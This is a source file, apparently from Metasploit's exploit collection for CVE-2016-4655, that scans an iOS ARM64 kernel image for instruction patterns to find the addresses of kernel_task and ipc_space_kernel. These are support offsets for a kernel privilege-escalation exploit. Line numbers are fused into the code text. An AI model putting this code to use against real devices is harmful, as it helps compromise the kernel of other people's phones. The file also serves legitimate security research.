Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4655/find.m
Views: 11780
/*1* find.m - Minimal offsets finder2* Taken and modified from cl0ver3*4* Copyright (c) 2016-2017 Siguza5*/67#include <stdint.h>8#include <string.h> // strlen, strerror, memcmp9#include <mach/mach.h>1011#include "arch.h"12#include "nvpatch.h"13#include "find.h"1415// imm = register plus immediate, lit = PC-relative literal1617#define IS_RET(instr) ((instr) == 0xd65f03c0)18#define IS_BL(instr) (((instr) & 0xfc000000) == 0x94000000)19#define LDR_IMM(instr) (((instr) >> 7) & 0x7ff8)20// for all *_LIT: 26-bit sign extend and multiply by 421#define LDR_LIT(instr) ((((int64_t)(instr) & 0xffffe0) << 40) >> 43)22#define ADR_LIT(instr) (((((int64_t)(instr) & 0xffffe0) << 40) >> 43) | (((instr) >> 29) & 3))23#define ADRP_LIT(instr) (ADR_LIT(instr) << 12)24#define ADD_LIT(instr) (((instr) & 0x3ffc00) >> 10)2526static segment_t* ptr_segment(segment_t *segs, size_t numsegs, void *ptr)27{28for(size_t i = 0; i < numsegs; ++i)29{30if((char*)segs[i].buf <= (char*)ptr && &((char*)segs[i].buf)[segs[i].len] > (char*)ptr)31{32return &segs[i];33}34}35LOG("pointer out of range: " ADDR, (vm_address_t)ptr);36return NULL;37}3839static vm_address_t ptr_to_vmem(segment_t *segs, size_t numsegs, void *ptr)40{41segment_t *seg = ptr_segment(segs, numsegs, ptr);42if(!seg)43{44return 0;45}46return seg->addr + ((char*)ptr - (char*)seg->buf);47}4849static vm_address_t vmem_find_bytes(segment_t *segs, size_t numsegs, void *search, size_t len, size_t granularity, char *name)50{51for(size_t i = 0; i < numsegs; ++i)52{53for(size_t off = 0; off <= segs[i].len - len; off += granularity)54{55if(memcmp(&((char*)segs[i].buf)[off], search, len) == 0)56{57return segs[i].addr + off;58}59}60}61LOG("Failed to vmem_find_bytes: %s", name);62return 0;63}6465static vm_address_t vmem_find_str(segment_t *segs, size_t numsegs, char *str)66{67return vmem_find_bytes(segs, numsegs, str, strlen(str) + 1, 1, str);68}6970vm_address_t find_kernel_task(segment_t *text)71{72LOG("Looking for kernel_task...");7374vm_address_t panic_info = vmem_find_str(text, 1, "aapl,panic-info");75LOG("\"aapl,panic-info\" at " ADDR "...", panic_info);76if(panic_info)77{78for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)79{80if((*ptr & 0x9f000000) == 0x10000000) // adr81{82vm_address_t pc = ptr_to_vmem(text, 1, ptr);83if(pc)84{85if(pc + ADR_LIT(*ptr) == panic_info) // adr Xn, "aapl,panic-info"86{87LOG("Found reference to \"aapl,panic-info\" at " ADDR, pc);88for(uint32_t *p = ptr - 1; p >= (uint32_t*)text->buf; --p)89{90if((*p & 0xffffffe0) == 0xd538d080) // mrs Xn, tpidr_el191{92LOG("Last reference to tpidr_el1 before that is at " ADDR, ptr_to_vmem(text, 1, p));9394size_t num_ldrs = 0;95uint32_t *last = NULL;96for(++p; p < ptr; ++p)97{98if((*p & 0xff000000) == 0x58000000) // ldr with PC-relative offset99{100last = p;101++num_ldrs;102}103}104105if(num_ldrs == 1)106{107pc = ptr_to_vmem(text, 1, last);108if(pc)109{110vm_address_t ret = pc + LDR_LIT(*last);111LOG("Found kernel_task symbol at " ADDR, ret);112return ret;113}114}115else116{117LOG("Number of PC-relative ldr's between tpidr_el1 and panic-ref is != 1");118}119goto next; // "break" would trigger the message below120}121}122LOG("But found no reference to tpidr_el1 before that, looking for next reference to \"aapl,panic-info\"...");123next:;124}125}126}127}128}129130LOG("Failed to find kernel_task");131return 0;132}133134vm_address_t find_ipc_space_kernel(segment_t *text)135{136LOG("Looking for ipc_space_kernel...");137138vm_address_t str = vmem_find_str(text, 1, "\"failed to create resume port\"");139LOG("\"\"failed to create resume port\"\" at " ADDR "...", str);140if(str)141{142// find either convert_task_suspension_token_to_port or task_suspend143for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)144{145if146(147(ptr[0] & 0x9f000000) == 0x90000000 && // adrp148(ptr[1] & 0xffc00000) == 0x91000000 // add with unshifted immediate149)150{151vm_address_t pc = ptr_to_vmem(text, 1, ptr);152if(pc)153{154if((pc & 0xfffffffffffff000) + ADRP_LIT(ptr[0]) + ADD_LIT(ptr[1]) == str) // ref to our string155{156LOG("Found reference to \"\"failed to create resume port\"\" at " ADDR, pc);157for(uint32_t *p = ptr - 1, count = 0; p >= (uint32_t*)text->buf; --p)158{159if(IS_RET(*p))160{161if(count == 0) // panic() lies after ret;, thus skip 2162{163++count;164}165else166{167++p;168LOG("Start of function is at " ADDR, ptr_to_vmem(text, 1, p));169170for(count = 0; p < ptr; ++p) // find second bl171{172if(IS_BL(*p))173{174if(count == 0)175{176++count;177}178else179{180LOG("Second bl is at " ADDR, ptr_to_vmem(text, 1, p));181if182(183(p[-3] & 0x9f000000) == 0x90000000 && // adrp184(p[-2] & 0xffc00000) == 0x91000000 && // add with unshifted immediate185(p[-1] & 0xffc00000) == 0xf9400000 // ldr with immediate186)187{188pc = ptr_to_vmem(text, 1, p - 3);189if(pc)190{191vm_address_t ret = (pc & 0xfffffffffffff000) + ADRP_LIT(p[-3]) + ADD_LIT(p[-2]) + LDR_IMM(p[-1]);192LOG("Found ipc_space_kernel symbol at " ADDR, ret);193return ret;194}195}196else197{198LOG("Didn't find expected instructions before bl...");199}200goto next; // "break" would trigger the message below201}202}203}204205LOG("But found no two bl; after that, looking for next reference to \"\"failed to create resume port\"\"...");206goto next;207}208}209}210LOG("But found no two ret; before that, looking for next reference to \"\"failed to create resume port\"\"...");211next:;212}213}214}215}216}217218LOG("Failed to find ipc_space_kernel");219return 0;220}221222223